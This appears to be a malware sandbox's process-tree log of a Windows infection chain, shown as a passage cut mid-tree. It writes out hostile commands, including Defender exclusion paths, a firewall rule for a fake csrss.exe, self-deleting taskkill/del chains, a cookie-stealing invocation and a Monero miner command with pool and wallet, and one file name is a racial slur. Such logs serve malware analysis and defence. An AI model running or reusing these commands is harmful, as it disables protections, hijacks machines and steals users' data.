C:\Users\Admin\AppData\Local\Temp\{cjyB-LNk8S-H4ej-tlFlu}\46717035527.exe"C:\Users\Admin\AppData\Local\Temp\{cjyB-LNk8S-H4ej-tlFlu}\46717035527.exe"16⤵
- Loads dropped DLL
- Checks processor information in registry
PID:6596 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 46717035527.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{cjyB-LNk8S-H4ej-tlFlu}\46717035527.exe" & del C:\ProgramData\*.dll & exit17⤵PID:9068
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 46717035527.exe /f18⤵
- Kills process with taskkill
PID:5600
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 618⤵
- Delays execution with timeout.exe
PID:10000
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{cjyB-LNk8S-H4ej-tlFlu}\89713549215.exe" /mix15⤵PID:7336
-
C:\Users\Admin\AppData\Local\Temp\{cjyB-LNk8S-H4ej-tlFlu}\89713549215.exe"C:\Users\Admin\AppData\Local\Temp\{cjyB-LNk8S-H4ej-tlFlu}\89713549215.exe" /mix16⤵
- Checks processor information in registry
PID:5888
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "SyRKChyKMlzw2xirpLHPvuxF.exe" /f & erase "C:\Users\Admin\Documents\SyRKChyKMlzw2xirpLHPvuxF.exe" & exit15⤵PID:4712
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "SyRKChyKMlzw2xirpLHPvuxF.exe" /f16⤵
- Kills process with taskkill
PID:7428
-
-
-
-
C:\Program Files (x86)\Versium Research\Versium Research\nigger.exe"C:\Program Files (x86)\Versium Research\Versium Research\nigger.exe"14⤵
- Suspicious use of SetWindowsHookEx
PID:5556 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{eMkt-Oqjap-I48g-qlkud}\30869852162.exe"15⤵PID:668
-
C:\Users\Admin\AppData\Local\Temp\{eMkt-Oqjap-I48g-qlkud}\30869852162.exe"C:\Users\Admin\AppData\Local\Temp\{eMkt-Oqjap-I48g-qlkud}\30869852162.exe"16⤵
- Loads dropped DLL
- Checks processor information in registry
PID:7584 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 30869852162.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{eMkt-Oqjap-I48g-qlkud}\30869852162.exe" & del C:\ProgramData\*.dll & exit17⤵PID:8152
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 30869852162.exe /f18⤵
- Kills process with taskkill
PID:4332
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 618⤵
- Delays execution with timeout.exe
PID:584
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{eMkt-Oqjap-I48g-qlkud}\11697490623.exe" /mix15⤵PID:3660
-
C:\Users\Admin\AppData\Local\Temp\{eMkt-Oqjap-I48g-qlkud}\11697490623.exe"C:\Users\Admin\AppData\Local\Temp\{eMkt-Oqjap-I48g-qlkud}\11697490623.exe" /mix16⤵
- Checks processor information in registry
PID:4736 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\ERaLlvuaV & timeout 3 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{eMkt-Oqjap-I48g-qlkud}\11697490623.exe"17⤵PID:3368
-
C:\Windows\SysWOW64\timeout.exetimeout 318⤵
- Delays execution with timeout.exe
PID:4168
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "nigger.exe" /f & erase "C:\Program Files (x86)\Versium Research\Versium Research\nigger.exe" & exit15⤵PID:6568
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV116⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5452
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "nigger.exe" /f16⤵
- Kills process with taskkill
PID:9960
-
-
-
-
-
C:\Users\Admin\Documents\PlxLa8L6OnZIFF0RgXYOAQ3G.exe"C:\Users\Admin\Documents\PlxLa8L6OnZIFF0RgXYOAQ3G.exe"13⤵
- Suspicious use of SetWindowsHookEx
PID:6424 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{IrIs-gOrig-dEMI-nKmdx}\22242921795.exe"14⤵PID:7716
-
C:\Users\Admin\AppData\Local\Temp\{IrIs-gOrig-dEMI-nKmdx}\22242921795.exe"C:\Users\Admin\AppData\Local\Temp\{IrIs-gOrig-dEMI-nKmdx}\22242921795.exe"15⤵
- Loads dropped DLL
- Checks processor information in registry
PID:8540 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 22242921795.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{IrIs-gOrig-dEMI-nKmdx}\22242921795.exe" & del C:\ProgramData\*.dll & exit16⤵PID:8072
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 22242921795.exe /f17⤵
- Kills process with taskkill
PID:9828
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 617⤵
- Delays execution with timeout.exe
PID:8448
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{IrIs-gOrig-dEMI-nKmdx}\74450792116.exe" /mix14⤵PID:8616
-
C:\Users\Admin\AppData\Local\Temp\{IrIs-gOrig-dEMI-nKmdx}\74450792116.exe"C:\Users\Admin\AppData\Local\Temp\{IrIs-gOrig-dEMI-nKmdx}\74450792116.exe" /mix15⤵
- Checks processor information in registry
PID:204 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\yNTWsyDpuQ & timeout 3 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{IrIs-gOrig-dEMI-nKmdx}\74450792116.exe"16⤵PID:7180
-
C:\Windows\SysWOW64\timeout.exetimeout 317⤵
- Delays execution with timeout.exe
PID:6600
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "PlxLa8L6OnZIFF0RgXYOAQ3G.exe" /f & erase "C:\Users\Admin\Documents\PlxLa8L6OnZIFF0RgXYOAQ3G.exe" & exit14⤵PID:9120
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "PlxLa8L6OnZIFF0RgXYOAQ3G.exe" /f15⤵
- Kills process with taskkill
PID:612
-
-
-
-
C:\Users\Admin\Documents\rrkNCVMiOwmBHrYmh9nlzr5E.exe"C:\Users\Admin\Documents\rrkNCVMiOwmBHrYmh9nlzr5E.exe"13⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
PID:5664 -
C:\Users\Admin\Documents\rrkNCVMiOwmBHrYmh9nlzr5E.exe"C:\Users\Admin\Documents\rrkNCVMiOwmBHrYmh9nlzr5E.exe"14⤵PID:6896
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6896 -s 10415⤵
- Program crash
PID:5252
-
-
-
C:\Program Files (x86)\Versium Research\Versium Research\nigger.exe"C:\Program Files (x86)\Versium Research\Versium Research\nigger.exe"14⤵
- Suspicious use of SetWindowsHookEx
PID:968 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{ow6Z-cWnmO-PFtB-JvBvB}\16907253218.exe"15⤵PID:5672
-
C:\Users\Admin\AppData\Local\Temp\{ow6Z-cWnmO-PFtB-JvBvB}\16907253218.exe"C:\Users\Admin\AppData\Local\Temp\{ow6Z-cWnmO-PFtB-JvBvB}\16907253218.exe"16⤵
- Loads dropped DLL
- Checks processor information in registry
PID:7772 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 16907253218.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{ow6Z-cWnmO-PFtB-JvBvB}\16907253218.exe" & del C:\ProgramData\*.dll & exit17⤵PID:5592
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 16907253218.exe /f18⤵
- Kills process with taskkill
PID:9364
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 618⤵
- Delays execution with timeout.exe
PID:700
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{ow6Z-cWnmO-PFtB-JvBvB}\40762245600.exe" /mix15⤵PID:8508
-
C:\Users\Admin\AppData\Local\Temp\{ow6Z-cWnmO-PFtB-JvBvB}\40762245600.exe"C:\Users\Admin\AppData\Local\Temp\{ow6Z-cWnmO-PFtB-JvBvB}\40762245600.exe" /mix16⤵
- Checks processor information in registry
PID:7172 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\pHbyHKJmAhB & timeout 3 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{ow6Z-cWnmO-PFtB-JvBvB}\40762245600.exe"17⤵PID:2232
-
C:\Windows\SysWOW64\timeout.exetimeout 318⤵
- Delays execution with timeout.exe
PID:1740
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "nigger.exe" /f & erase "C:\Program Files (x86)\Versium Research\Versium Research\nigger.exe" & exit15⤵PID:2180
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "nigger.exe" /f16⤵
- Kills process with taskkill
PID:8692
-
-
-
-
-
C:\Users\Admin\Documents\vfnpjk2o1XjHQMT5lYZ6tfL8.exe"C:\Users\Admin\Documents\vfnpjk2o1XjHQMT5lYZ6tfL8.exe"13⤵
- Suspicious use of SetWindowsHookEx
PID:6540 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6540 -s 142014⤵
- Program crash
PID:7832
-
-
-
-
-
C:\Program Files (x86)\Versium Research\Versium Research\vlcplayer.exe"C:\Program Files (x86)\Versium Research\Versium Research\vlcplayer.exe"11⤵PID:5452
-
C:\Users\Admin\AppData\Local\Temp\Services.exe"C:\Users\Admin\AppData\Local\Temp\Services.exe"12⤵PID:7836
-
C:\Windows\explorer.exeC:\Windows\explorer.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14433 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=50 --donate-level=5 --unam-idle-wait=7 --unam-idle-cpu=70 --tls --unam-stealth13⤵PID:10388
-
-
-
-
C:\Program Files (x86)\Versium Research\Versium Research\lylal220.exe"C:\Program Files (x86)\Versium Research\Versium Research\lylal220.exe"11⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5524 -
C:\Users\Admin\AppData\Local\Temp\is-40VHB.tmp\lylal220.tmp"C:\Users\Admin\AppData\Local\Temp\is-40VHB.tmp\lylal220.tmp" /SL5="$10480,491750,408064,C:\Program Files (x86)\Versium Research\Versium Research\lylal220.exe"12⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:5800 -
C:\Users\Admin\AppData\Local\Temp\is-IHSDE.tmp\Microsoft.exe"C:\Users\Admin\AppData\Local\Temp\is-IHSDE.tmp\Microsoft.exe" /S /UID=lylal22013⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
PID:5212 -
C:\Program Files\Java\SMWJCOGRZP\irecord.exe"C:\Program Files\Java\SMWJCOGRZP\irecord.exe" /VERYSILENT14⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:6544 -
C:\Users\Admin\AppData\Local\Temp\is-DAL6U.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-DAL6U.tmp\irecord.tmp" /SL5="$50308,6265333,408064,C:\Program Files\Java\SMWJCOGRZP\irecord.exe" /VERYSILENT15⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:6632
-
-
-
C:\Users\Admin\AppData\Local\Temp\c9-cf7e0-cb5-bc08a-a25501b779d5d\Maexagyqeri.exe"C:\Users\Admin\AppData\Local\Temp\c9-cf7e0-cb5-bc08a-a25501b779d5d\Maexagyqeri.exe"14⤵PID:6656
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\luhgfxgt.a40\gaooo.exe & exit15⤵PID:3108
-
C:\Users\Admin\AppData\Local\Temp\luhgfxgt.a40\gaooo.exeC:\Users\Admin\AppData\Local\Temp\luhgfxgt.a40\gaooo.exe16⤵
- Suspicious use of SetWindowsHookEx
PID:7344 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵PID:6096
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵PID:7628
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵PID:10316
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵PID:5100
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\emxyjepf.blr\md7_7dfj.exe & exit15⤵PID:8324
-
C:\Users\Admin\AppData\Local\Temp\emxyjepf.blr\md7_7dfj.exeC:\Users\Admin\AppData\Local\Temp\emxyjepf.blr\md7_7dfj.exe16⤵PID:4880
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\j0tt1wia.wnm\customer6.exe & exit15⤵PID:8860
-
C:\Users\Admin\AppData\Local\Temp\j0tt1wia.wnm\customer6.exeC:\Users\Admin\AppData\Local\Temp\j0tt1wia.wnm\customer6.exe16⤵PID:3152
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uaiforcl.oj5\askinstall31.exe & exit15⤵PID:7732
-
C:\Users\Admin\AppData\Local\Temp\uaiforcl.oj5\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\uaiforcl.oj5\askinstall31.exe16⤵PID:7840
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe17⤵PID:4940
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe18⤵
- Kills process with taskkill
PID:9328
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bycoonwd.ea3\HookSetp.exe & exit15⤵PID:3368
-
C:\Users\Admin\AppData\Local\Temp\bycoonwd.ea3\HookSetp.exeC:\Users\Admin\AppData\Local\Temp\bycoonwd.ea3\HookSetp.exe16⤵PID:1364
-
C:\ProgramData\4349566.exe"C:\ProgramData\4349566.exe"17⤵PID:10100
-
-
C:\ProgramData\524569.exe"C:\ProgramData\524569.exe"17⤵
- Suspicious behavior: SetClipboardViewer
PID:10180
-
-
C:\ProgramData\5262144.exe"C:\ProgramData\5262144.exe"17⤵PID:5476
-
-
C:\ProgramData\3134135.exe"C:\ProgramData\3134135.exe"17⤵PID:9812
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\z3xhqbji.1je\GcleanerWW.exe /mixone & exit15⤵PID:7692
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2babzyj3.d5y\19.exe & exit15⤵PID:3540
-
C:\Users\Admin\AppData\Local\Temp\2babzyj3.d5y\19.exeC:\Users\Admin\AppData\Local\Temp\2babzyj3.d5y\19.exe16⤵PID:4856
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\javc\install.dll",install17⤵
- Loads dropped DLL
PID:8664
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sxriqy04.mlf\setup.exe /8-2222 & exit15⤵PID:2408
-
C:\Users\Admin\AppData\Local\Temp\sxriqy04.mlf\setup.exeC:\Users\Admin\AppData\Local\Temp\sxriqy04.mlf\setup.exe /8-222216⤵PID:1480
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Lingering-Dew"17⤵PID:3996
-
-
C:\Program Files (x86)\Lingering-Dew\7za.exe"C:\Program Files (x86)\Lingering-Dew\7za.exe" e -p154.61.71.51 winamp-plugins.7z17⤵PID:9040
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV118⤵PID:7732
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Lingering-Dew\setup.exe" -map "C:\Program Files (x86)\Lingering-Dew\WinmonProcessMonitor.sys""17⤵PID:7140
-
C:\Program Files (x86)\Lingering-Dew\setup.exe"C:\Program Files (x86)\Lingering-Dew\setup.exe" -map "C:\Program Files (x86)\Lingering-Dew\WinmonProcessMonitor.sys"18⤵PID:7276
-
-
-
C:\Program Files (x86)\Lingering-Dew\7za.exe"C:\Program Files (x86)\Lingering-Dew\7za.exe" e -p154.61.71.51 winamp.7z17⤵PID:348
-
-
C:\Program Files (x86)\Lingering-Dew\setup.exe"C:\Program Files (x86)\Lingering-Dew\setup.exe" /8-222217⤵PID:4892
-
C:\Program Files (x86)\Lingering-Dew\setup.exe"C:\Program Files (x86)\Lingering-Dew\setup.exe" /8-222218⤵PID:3428
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"19⤵PID:11900
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes20⤵PID:8348
-
-
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0lf1g3yy.jac\file.exe & exit15⤵PID:9160
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV116⤵PID:8968
-
-
C:\Users\Admin\AppData\Local\Temp\0lf1g3yy.jac\file.exeC:\Users\Admin\AppData\Local\Temp\0lf1g3yy.jac\file.exe16⤵PID:6852
-
C:\Users\Admin\AppData\Local\Temp\RarSFX4\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX4\Setup.exe"17⤵PID:9408
-
C:\Users\Admin\AppData\Local\Temp\ZEJCM7DYGO\setups.exe"C:\Users\Admin\AppData\Local\Temp\ZEJCM7DYGO\setups.exe" ll18⤵PID:9432
-
-
C:\Users\Admin\AppData\Local\Temp\TPA2MNB2X3\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TPA2MNB2X3\multitimer.exe" 0 3060197d33d91c80.94013368 0 10118⤵PID:4604
-
C:\Users\Admin\AppData\Local\Temp\TPA2MNB2X3\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TPA2MNB2X3\multitimer.exe" 1 3.1616696653.605cd54d185b3 10119⤵PID:1332
-
C:\Users\Admin\AppData\Local\Temp\TPA2MNB2X3\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TPA2MNB2X3\multitimer.exe" 2 3.1616696653.605cd54d185b320⤵PID:8340
-
C:\Users\Admin\AppData\Local\Temp\gujmajyx505\1wlregybljt.exe"C:\Users\Admin\AppData\Local\Temp\gujmajyx505\1wlregybljt.exe" /ustwo INSTALL21⤵PID:8268
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "1wlregybljt.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\gujmajyx505\1wlregybljt.exe" & exit22⤵PID:2256
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "1wlregybljt.exe" /f23⤵
- Kills process with taskkill
PID:4668
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\vad3pelcggg\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\vad3pelcggg\Setup3310.exe" /Verysilent /subid=57721⤵PID:9132
-
C:\Users\Admin\AppData\Local\Temp\is-549FQ.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-549FQ.tmp\Setup3310.tmp" /SL5="$40598,138429,56832,C:\Users\Admin\AppData\Local\Temp\vad3pelcggg\Setup3310.exe" /Verysilent /subid=57722⤵PID:8344
-
C:\Users\Admin\AppData\Local\Temp\is-OE4KT.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-OE4KT.tmp\Setup.exe" /Verysilent23⤵PID:5860
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\x42vvicnygb\vict.exe"C:\Users\Admin\AppData\Local\Temp\x42vvicnygb\vict.exe" /VERYSILENT /id=53521⤵PID:6316
-
C:\Users\Admin\AppData\Local\Temp\is-NPM3I.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-NPM3I.tmp\vict.tmp" /SL5="$60290,870426,780800,C:\Users\Admin\AppData\Local\Temp\x42vvicnygb\vict.exe" /VERYSILENT /id=53522⤵PID:8284
-
C:\Users\Admin\AppData\Local\Temp\is-EGIF1.tmp\winhost.exe"C:\Users\Admin\AppData\Local\Temp\is-EGIF1.tmp\winhost.exe" 53523⤵PID:5952
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\qff0ah01v3p\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\qff0ah01v3p\AwesomePoolU1.exe"21⤵PID:9468
-
-
C:\Users\Admin\AppData\Local\Temp\tgh503b1imi\app.exe"C:\Users\Admin\AppData\Local\Temp\tgh503b1imi\app.exe" /8-2321⤵PID:2816
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Wispy-Leaf"22⤵PID:4124
-
-
C:\Program Files (x86)\Wispy-Leaf\7za.exe"C:\Program Files (x86)\Wispy-Leaf\7za.exe" e -p154.61.71.51 winamp-plugins.7z22⤵PID:10296
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Wispy-Leaf\app.exe" -map "C:\Program Files (x86)\Wispy-Leaf\WinmonProcessMonitor.sys""22⤵PID:4228
-
C:\Program Files (x86)\Wispy-Leaf\app.exe"C:\Program Files (x86)\Wispy-Leaf\app.exe" -map "C:\Program Files (x86)\Wispy-Leaf\WinmonProcessMonitor.sys"23⤵PID:4204
-
-
-
C:\Program Files (x86)\Wispy-Leaf\7za.exe"C:\Program Files (x86)\Wispy-Leaf\7za.exe" e -p154.61.71.51 winamp.7z22⤵PID:10472
-
-
C:\Program Files (x86)\Wispy-Leaf\app.exe"C:\Program Files (x86)\Wispy-Leaf\app.exe" /8-2322⤵PID:2096
-
C:\Program Files (x86)\Wispy-Leaf\app.exe"C:\Program Files (x86)\Wispy-Leaf\app.exe" /8-2323⤵PID:2764
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"24⤵PID:3156
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes25⤵PID:7880
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\52m2iq00xxq\thvecctfbit.exe"C:\Users\Admin\AppData\Local\Temp\52m2iq00xxq\thvecctfbit.exe" /1-61021⤵PID:4976
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Black-Shadow'22⤵PID:7456
-
-
C:\Program Files (x86)\Black-Shadow\7za.exe"C:\Program Files (x86)\Black-Shadow\7za.exe" e -p154.61.71.51 winamp.7z22⤵PID:10820
-
-
C:\Program Files (x86)\Black-Shadow\thvecctfbit.exe"C:\Program Files (x86)\Black-Shadow\thvecctfbit.exe" /1-61022⤵PID:3672
-
C:\Program Files (x86)\Black-Shadow\thvecctfbit.exe"C:\Program Files (x86)\Black-Shadow\thvecctfbit.exe" /1-61023⤵PID:7204
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\hzvqat4vnuw\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\hzvqat4vnuw\Setup3310.exe" /Verysilent /subid=57721⤵PID:7316
-
C:\Users\Admin\AppData\Local\Temp\is-PGB0L.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-PGB0L.tmp\Setup3310.tmp" /SL5="$70558,138429,56832,C:\Users\Admin\AppData\Local\Temp\hzvqat4vnuw\Setup3310.exe" /Verysilent /subid=57722⤵PID:9764
-
C:\Users\Admin\AppData\Local\Temp\is-Q6BP6.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-Q6BP6.tmp\Setup.exe" /Verysilent23⤵PID:12528
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ik42b3bggdr\xvbsmuy5uuu.exe"C:\Users\Admin\AppData\Local\Temp\ik42b3bggdr\xvbsmuy5uuu.exe" /ustwo INSTALL21⤵PID:3196
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "xvbsmuy5uuu.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\ik42b3bggdr\xvbsmuy5uuu.exe" & exit22⤵PID:11356
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "xvbsmuy5uuu.exe" /f23⤵
- Kills process with taskkill
- Modifies registry class
PID:2192
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\htfoyvxnn21\vict.exe"C:\Users\Admin\AppData\Local\Temp\htfoyvxnn21\vict.exe" /VERYSILENT /id=53521⤵PID:8804
-
C:\Users\Admin\AppData\Local\Temp\is-DFLO5.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-DFLO5.tmp\vict.tmp" /SL5="$207D2,870426,780800,C:\Users\Admin\AppData\Local\Temp\htfoyvxnn21\vict.exe" /VERYSILENT /id=53522⤵PID:6260
-
C:\Users\Admin\AppData\Local\Temp\is-M6MA6.tmp\winhost.exe"C:\Users\Admin\AppData\Local\Temp\is-M6MA6.tmp\winhost.exe" 53523⤵PID:3260
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\rut5rb45ycx\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\rut5rb45ycx\AwesomePoolU1.exe"21⤵PID:5432
-
-
C:\Users\Admin\AppData\Local\Temp\qpw2iw2ndb1\app.exe"C:\Users\Admin\AppData\Local\Temp\qpw2iw2ndb1\app.exe" /8-2321⤵PID:9468
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Solitary-Sunset"22⤵PID:2264
-
-
C:\Program Files (x86)\Solitary-Sunset\7za.exe"C:\Program Files (x86)\Solitary-Sunset\7za.exe" e -p154.61.71.51 winamp-plugins.7z22⤵PID:13292
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Solitary-Sunset\app.exe" -map "C:\Program Files (x86)\Solitary-Sunset\WinmonProcessMonitor.sys""22⤵PID:13208
-
C:\Program Files (x86)\Solitary-Sunset\app.exe"C:\Program Files (x86)\Solitary-Sunset\app.exe" -map "C:\Program Files (x86)\Solitary-Sunset\WinmonProcessMonitor.sys"23⤵PID:4716
-
-
-
C:\Program Files (x86)\Solitary-Sunset\7za.exe"C:\Program Files (x86)\Solitary-Sunset\7za.exe" e -p154.61.71.51 winamp.7z22⤵PID:8992
-
-
